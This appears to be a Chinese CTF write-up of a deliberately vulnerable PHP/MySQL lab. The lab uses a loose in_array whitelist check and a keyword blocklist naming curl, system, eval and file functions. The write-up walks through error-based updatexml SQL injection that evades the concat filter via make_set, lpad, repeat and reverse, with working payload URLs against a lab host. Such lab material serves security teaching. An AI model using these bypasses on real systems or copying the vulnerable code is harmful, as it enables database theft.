index.php
<?php
include 'config.php';
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: ");
}
$sql = "SELECT COUNT(*) FROM users";
$whitelist = array();
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
$whitelist = range(1, $row['COUNT(*)']);
}
$id = stop_hack($_GET['id']);
$sql = "SELECT * FROM users WHERE id=$id";
if (!in_array($id, $whitelist)) {
die("id $id is not in whitelist.");
}
$result = $conn->query($sql);
if($result->num_rows > 0){
$row = $result->fetch_assoc();
echo "";
foreach ($row as $key => $value) {
echo "$key
";
echo "$value
";
}
echo "
";
}
else{
die($conn->error);
}
?>
config.php
<?php
$servername = "localhost:3306";
$username = "root";
$password = "root";
$dbname = "day1";
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
数据库建立SQL语句:
create database day1;
use day1;
create table users (
id int(6) unsigned auto_increment primary key,
name varchar(20) not null,
email varchar(30) not null,
salary int(8) unsigned not null );
INSERT INTO users VALUES(1,'Lucia','[email protected]',3000);
INSERT INTO users VALUES(2,'Danny','[email protected]',4500);
INSERT INTO users VALUES(3,'Alina','[email protected]',2700);
INSERT INTO users VALUES(4,'Jameson','[email protected]',10000);
INSERT INTO users VALUES(5,'Allie','[email protected]',6000);
create table flag(flag varchar(30) not null);
INSERT INTO flag VALUES('HRCTF{1n0rrY_i3_Vu1n3rab13}');
进入网站:
http://192.168.1.139/array/index.php?id=2
这道题目考察的是 in_array
绕过和不能使用拼接函数的 updatexml
注入,我们先来看一下 in_array
的绕过。在下图第11~13行处:
程序把用户的ID值存储在 $whitelist
数组中,然后将用户传入的 id 参数先经过stop_hack
函数过滤,然后再用 in_array
来判断用户传入的 id 参数是否在 $whitelist
数组中。这里 in_array
函数没有使用强匹配,所以是可以绕过的。
然后在说说 updatexml
注入,当 updatexml
中存在特殊字符或字母时,会出现报错,报错信息为特殊字符、字母及之后的内容,也就是说如果我们想要查询的数据是数字开头,例如 7701HongRi ,那么查询结果只会显示 HongRi 。所以我们会看到很多 updatexml
注入的 payload
是长这样的 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)
,在所要查询的数据前面凭借一个特殊符号(这里的 0x7e
为符号 '~'
)。
我们看一下 stop_hack 函数过滤了什么。可以发现该方法过滤了字符串拼接函数concat
,所以我们就要用其他方法来绕过。
function stop_hack($value){
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
$back_list = explode("|",$pattern);
foreach($back_list as $hack){
if(preg_match("/$hack/i", $value))
die("$hack detected!");
}
return $value;
}
?>
被过滤的字符
$pattern = "insert|delete|or|concat|concat_ws|group_concat|join|floor|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile|dumpfile|sub|hex|file_put_contents|fwrite|curl|system|eval";
这里有大佬分析updatexml 的文章
既然updatexml函数是从特殊字符、字母后面开始截取的,我们就需要在我们想要的数据前面拼接上特殊字符。waf禁用了concat等常见字符串拼接函数,那么我们可以使用冷门的字符串处理函数绕过,这里感谢
雨了个雨
师傅提供的payload
select updatexml(1,make_set(3,'~',(select user())),1);
关于make_set
函数的用法,可以参考:mysql MAKE_SET()用法
make_set函数的用法:
MAKE_SET(bits,str1,str2,…)
返回一个设定值 (一个包含被‘,’号分开的字字符串的字符串) ,由在bits 组中具有相应的比特的字符串组成。str1 对应比特 0, str2 对应比特1,以此类推。str1, str2, …中的 NULL值不会被添加到结果中。
bits将转为二进制,1的二进制为0001,倒过来为1000,所以取str1(a),打印a.
bits将转为二进制,3的二进制为0011,倒过来为1100,所以取str1(a),str2(b),打印a,b.
1|4转为二进制为0001 | 0100, | 是进行或运算,得到0101,倒过来为1010,所以取str1(a),str(3),打印hello,world.
我们还可以找到类似的函数:lpad()
、reverse()
、repeat()
、export_set()
(lpad()、reverse()、repeat()
这三个函数使用的前提是所查询的值中,必须至少含有一个特殊字符,否则会漏掉一些数据)。
payload:
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,make_set(3,'~',(select flag from flag)),1))
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,lpad('{',100,(select flag from flag)),1))
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,repeat((select flag from flag),2),1))
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,(select flag from flag),1))
http://192.168.1.139/array/index.php?id=2 and (select updatexml(1,reverse((select flag from flag)),1))